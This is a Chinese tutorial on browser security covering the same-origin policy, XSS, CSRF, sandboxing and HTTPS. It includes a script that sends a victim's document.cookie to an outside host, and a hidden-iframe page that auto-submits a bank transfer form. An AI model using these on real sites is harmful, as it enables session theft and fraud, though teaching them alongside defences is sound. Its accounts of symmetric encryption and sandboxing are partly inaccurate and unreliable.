天天看點

浏覽器安全浏覽器安全

浏覽器安全

同源政策

同源政策(Same origin policy)是一種約定,它是浏覽器最核心也最基本的安全功能,如果缺少了同源政策,則浏覽器的正常功能可能都會受到影響。 可以說Web是建構在同源政策基礎之上的,浏覽器隻是針對同源政策的一種實作。 是由Netscape提出的一個著名的安全政策。

同源的定義

如果兩個URL的協定,端口(如果有指定)和域名都相同,則兩個頁面具有相同的源。

下表給出了相對http://store.company.com/dir/page.html同源檢測的示例:

URL 結果 原因
http://store.company.com/dir2/other.html 成功 隻有路徑不同
http://store.company.com/dir/inner/another.html 成功 隻有路徑不同
https://store.company.com/secure.html 失敗 不同協定 ( https和http )
http://store.company.com:81/dir/etc.html 失敗 不同端口 ( http:// 80是預設的)
http://news.company.com/dir/other.html 失敗 不同域名 ( news和store )

跨域通路

同源政策控制了兩個源之間的互動,例如你使用

XMLHttpRequest

發起一個請求,或者使用

<img>

元素加載一張圖檔,則會受到同源政策的限制。這些互動通常分為三類:

  1. 允許跨域寫入:連結、跳轉和表單送出。
  2. 允許跨域嵌入跨域的資源内嵌是被允許的。下面是一些資源内容的例子:
  3. 通常不允許跨域讀操作。但常可以通過内嵌資源來巧妙的進行讀取通路。例如可以讀取嵌入圖檔的高度和寬度,調用内嵌腳本的方法

以下是可以嵌入跨源資源的一些示例:

  • 使用

    <script src="..."></script>

    加載Javascript。隻有同源的腳本在文法錯誤時會顯示錯誤資訊。
  • 使用

    <link rel="stylesheet" href="..." target="_blank" rel="external nofollow" >

    加載CSS。跨源的CSS檔案要求使用正确的Content-Type 響應頭。
  • 使用

    <img>

    加載圖檔。
  • 使用

    <video>

    <audio>

    加載媒體檔案。
  • 使用

    <object>

    <embed>

    <applet>

    加載插件。
  • 使用

    @font-face

    加載字型。有些浏覽器允許加載跨域的字型,有些則不允許。
  • 使用

    <frame>

    <iframe>

    加載任何東西。

跨站腳本攻擊(XSS)

什麼是 XSS

  • Cross-Site Scripting(跨站腳本攻擊)簡稱 XSS,是一種代碼注入攻擊。攻擊者通過在目标網站上注入惡意腳本,使之在使用者的浏覽器上運作。利用這些惡意腳本,攻擊者可擷取使用者的敏感資訊如 Cookie、SessionID 等,進而危害資料安全。為了和 CSS 區分,這裡把攻擊的第一個字母改成了 X,于是叫做 XSS。
  • XSS 的本質是:惡意代碼未經過濾,與網站正常的代碼混在一起;浏覽器無法分辨哪些腳本是可信的,導緻惡意腳本被執行

XSS 分類

存儲型XSS

  1. 攻擊者将惡意代碼送出到目标網站的資料庫中。
  2. 使用者打開目标網站時,網站服務端将惡意代碼從資料庫取出,拼接在 HTML 中傳回給浏覽器。
  3. 使用者浏覽器接收到響應後解析執行,混在其中的惡意代碼也被執行。
  4. 惡意代碼竊取使用者資料并發送到攻擊者的網站,或者冒充使用者的行為,調用目标網站接口執行攻擊者指定的操作。

這種攻擊常見于帶有使用者儲存資料的網站功能,如論壇發帖、商品評論、使用者私信等。

反射型 XSS

  1. 攻擊者構造出特殊的 URL,其中包含惡意代碼。
  2. 使用者打開帶有惡意代碼的 URL 時,網站服務端将惡意代碼從 URL 中取出,拼接在 HTML 中傳回給浏覽器。
  3. 使用者浏覽器接收到響應後解析執行,混在其中的惡意代碼也被執行。
  4. 惡意代碼竊取使用者資料并發送到攻擊者的網站,或者冒充使用者的行為,調用目标網站接口執行攻擊者指定的操作。

反射型 XSS 跟存儲型 XSS 的差別是:存儲型 XSS 的惡意代碼存在資料庫裡,反射型 XSS 的惡意代碼存在 URL 裡。

反射型 XSS 漏洞常見于通過 URL 傳遞參數的功能,如網站搜尋、跳轉等。

DOM 型 XSS

  1. 攻擊者構造出特殊的 URL,其中包含惡意代碼。
  2. 使用者打開帶有惡意代碼的 URL。
  3. 使用者浏覽器接收到響應後解析執行,前端 JavaScript 取出 URL 中的惡意代碼并執行。
  4. 惡意代碼竊取使用者資料并發送到攻擊者的網站,或者冒充使用者的行為,調用目标網站接口執行攻擊者指定的操作。

DOM 型 XSS 跟前兩種 XSS 的差別:DOM 型 XSS 攻擊中,取出和執行惡意代碼由浏覽器端完成,屬于前端 JavaScript 自身的安全漏洞,而其他兩種 XSS 都屬于服務端的安全漏洞。

案例及預防

Cookie

衆所周知,Cookie常用來存儲登入狀态,個人資訊等資料。通常情況下,Cookie是安全的,超過時限,Cookie會被系統删除,此外,Cookie是禁止跨域通路的。

不過,Cookie除了可以在服務端進行讀寫外,也可以在用戶端進行讀寫操作,這就存在了被竊取的風險。

下面這段代碼就可以竊取cookie

<script>
    new Image().src="http://bizfe.com/log?c=" + encodeURI(document.cookie);
</script>
           

現在隻需要利用前面提到的xss方法将這段代碼植入到某個登陸使用者的界面,然後就可以收集到這個使用者的資訊了。

HttpOnly屬性

顯然,Cookie是在用戶端洩漏的,一般來說,隻允許在服務端操作Cookie,才能保證一些必要的安全。

通過如下方式設定cookie

ctx.cookies.set('age','18', {
    httpOnly: false,
  });
  ctx.cookies.set('name','xss', {
    httpOnly: true,
  });
           

此時在浏覽器端讀取cookie,發現,隻能拿到“age=18”,通過debug工具檢查此時站點的cookie會發現下圖所示。

浏覽器安全浏覽器安全

跨站點請求僞造(CSRF)

什麼是CSRF

在使用者登陸目标網站後,後端會傳回使用者登陸的憑證到前端(浏覽器的 cookie)。攻擊者誘使使用者點選某個超連結,該超連結會發送惡意請求(會攜帶使用者的 cookie),進而冒充使用者完成業務請求(發帖、盜取使用者資金等)。

執行個體一

銀行網站A,它以GET請求來完成銀行轉賬的操作,如:http://www.mybank.com/Transfe…

危險網站B,它裡面有一段HTML的代碼如下:

首先,你登入了銀行網站A,然後通路危險網站B,噢,這時你會發現你的銀行賬戶少了1000塊。。。

執行個體二

為了杜絕上面的問題,銀行決定改用POST請求完成轉賬操作。于是釣魚網站也進行了更新:

  1. 第一個展示頁面(test):
<!DOCTYPE HTML>
<html lang="en-US">
<head>
<title>CSRF SHOW</title>
</head>
     <body>
          <iframe style="display:none;" src="test2.html"></iframe>
     </body>
</html>
           
  1. 第二個隐藏頁面(test2):
<!DOCTYPE HTML>
<html lang="en-US">
<head>
<title>CSRF GET</title>
<body>
     <form  name="form1" action="http://www.mybank.com/Transfer.php" method="post">
          <input type="hidden" name="money" value="1000"/>
          <input type="submit" value>
     </form>
     <script>
          document.forms.form1.submit();
     </script>
</body>
</html>
           

此時,如果使用者繼續上面的操作,将會再次發現1000塊錢不見了。

CSRF攻擊的本質原因

CSRF攻擊是源于Web的隐式身份驗證機制!Web的身份驗證機制雖然可以保證一個請求是來自于某個使用者的浏覽器,但卻無法保證該請求是使用者準許發送的。CSRF攻擊的一般是由服務端解決。

CSRF工具的防禦手段

  1. 盡量使用POST,限制GET
  2. 加驗證碼——強制使用者必須與應用進行互動,才能完成最終請求。在通常情況下,驗證碼能很好遏制CSRF攻擊。但是出于使用者體驗考慮,網站不能給所有的操作都加上驗證碼。是以驗證碼隻能作為一種輔助手段,不能作為主要解決方案。
  3. Referer檢查
  4. token

網站隔離

  • Site Isolation

    是 Chrome 為應對潛在的安全問題所實作的功能,以防止惡意網站擷取其他網站的資訊。
  • 同源政策确實起到了一定的保護作用,但是,後來人們意識到,在同一個位址空間内,隻要有運作不安全的代碼,整個位址空間的安全都不能完全保證。
  • chrome67以前的程序模型基本上就是為每個頁面建立一個程序,但是還是存在不同的網站用同一個程序的情況,比如 iframes 和父頁面。
  • 不同的網站 :使用同一個協定,同一個注冊域名的網址都屬于同一個網站,這比同源政策裡的 same origin 要寬泛一些,不同的子域名,不同的端口都算同一個網站。

沙盒:頁面和系統之間的隔離牆

什麼是沙盒

對于網絡上的網頁,浏覽器認為他們是不安全的,因為網頁總是存在各種可能性,也許是無意的或有意的攻擊。如果有一種機制,将網頁的運作限制在一個特定的環境中,也就是一個沙箱中,使它隻能通路有限的功能。那麼,即使網頁工作的渲染引擎被攻擊,它也不能夠擷取渲染引擎工作的主機系統中的任何權限,這一思想就是沙箱模型。

原理

“沙盒”技術與主動防禦技術原理截然不同。主動防禦是發現程式有可疑行為時立即攔截并終止運作。“沙盒”技術則是發現可疑行為後讓程式繼續運作,當發現的确是病毒時才會終止。“沙盒”技術的實踐運用流程是:讓疑似病毒檔案的可疑行為在虛拟的“沙盒”裡充分表演,“沙盒”會記下它的每一個動作;當疑似病毒充分暴露了其病毒屬性後,“沙盒”就會執行“復原”機制:将病毒的痕迹和動作抹去,恢複系統到正常狀态。

實作

  • 沙箱模型嚴重依賴作業系統提供的技術,而不同的作業系統提供的安全技術是不一樣的,這就意味着不同作業系統上的實作是不一緻的
  • Chrome的主要程序:浏覽器程序,渲染程序,插件程序、拓展程序。其中的渲染引擎由SandBox隔離,網頁代碼要與浏覽器核心程序通信、與作業系統通信都需要通過IPC channel,在其中會進行一些安全檢查。采用SandBox技術,可以讓網頁的渲染在一個獨立的Renderer程序中進行,并且該程序是受限的
    浏覽器安全浏覽器安全

HTTPS:讓資料傳輸更安全

對稱加密和非對稱加密

  • 對稱加密

    簡單說,就是發送方将經過加密的資訊連同密鑰一起發送給接收方,接收方需要使用密鑰将資訊解密。
  • 非對稱加密

    指的是,雙方都有自己的公鑰和私鑰對,将公鑰發送給對方,私鑰自己保管,發送方通過公鑰(私鑰)進行加密,接收方使用私鑰(公鑰)進行解密。這就是RSA的加解密原理

HTTPS

有些人認為HTTPS就是RSA,使用RSA加解密資料,實際上這是不對的。HTTPS是使用RSA進行身份驗證和交換密鑰,然後再使用交換的密鑰進行加解密資料。身份驗證是使用RSA的非對稱加密,而資料傳輸是雙方使用相同的密鑰進行的對稱加密。

HTTPS主要有以下作用

  • 驗證服務方身份,如我通路google.com的時候連的确實就是谷歌伺服器
  • 防止資料被劫持,例如有些營運商會給http的頁面插入廣告
  • 防止敏感資料被竊取篡改等

HTTPS連接配接建立過程

  1. TCP三向交握
  2. 用戶端(浏覽器)發起一個HTTPS連接配接建立請求,用戶端先發一個Client Hello的包——包括用戶端要使用的TLS版本,支援的加密套裝,要通路的域名,給服務端生成的一個随機數(Nonce)等。需要提前告知伺服器想要通路的域名以便伺服器發送相應的域名的證書過來,因為此時還沒有發生HTTP請求
  3. 服務端響應一個Server Hello,給用戶端發送它的證書——包含待簽名證書内容、證書簽名算法和CA給的簽名
  4. 雙方經過密鑰交換
  5. 使用交換的密鑰加行加解密資料

HTTPS能夠驗證身份的原理

上面第三步服務端發送給用戶端的證書會有多個,例如,我們通路MDN(https://developer.mozilla.org),服務端會傳回給用戶端四個證書,如圖

浏覽器安全浏覽器安全

第一個證書的公用名(common name)就是我們目前通路的域名developer.mozilla.org,如果公用名是*.mozilla.org的話那麼這個證書便能給mozilla.org的所有二級子域名使用。第二個證書是第一個證書的簽發機構(CA)的證書,它是Amazon,也就是說Amazon會用它的私鑰給developer.mozilla.org進行簽名。依此類推,第三個證書會給第二個證書簽名,第四個證書會給第三個證書簽名,并且我們可以看到第四個證書是一個根(Root)證書。

假如黑客通過DNS欺騙之類的方式把你通路的域名指向了他的機器,然後他再僞造一個證書。但是由于根證書都是内置于作業系統的,是以它改不了簽名的公鑰,并且它沒有正确的私鑰,隻能用自己的私鑰,由于公私鑰不配對,很難保證加解密後的資訊一緻。或者直接把浏覽器拿到的證書搬到他自己的伺服器?這樣再給浏覽器發的證書便是一模一樣,但是由于他不知道證書的私鑰,是以無法進行後續的操作,是以這樣是沒有意義的。

HTTPS證書的應用

那麼是誰在做HTTPS加密呢?服務端通常是Nginx、Apache這些反向代理伺服器做的,而具體的業務伺服器不需要處理,用戶端通常是浏覽器等做的加解密,Chrome是使用boringSSL這個庫,fork自openssl。

我們可以通過let’s encrypt可以申請免費的TLS證書,每3個月需要手動續,證書分為3種:DV、OV、EV,DV适用于個人,OV和EV需要身份稽核,EV最高端。

另外我們可以用用openssl生成一個自簽名證書,執行以下指令:

openssl req -x509 -nodes -sha256 -days 365 -newkey rsa:2048 -keyout test.com.key -out test.com.crt
           

便會得到兩個檔案,test.com.crt是證書,test.com.key是證書的私鑰

然後把這兩個檔案給nginx使用便能使用https通路,如下代碼所示:

server {
        listen       443;
        server_name  test.com;
        ssl on;
        ssl_certificate    test.com.crt;
        ssl_certificate_key    test.com.key;
     }
           

可以把這個證書添加到系統證書裡面,這樣浏覽器等便能信任。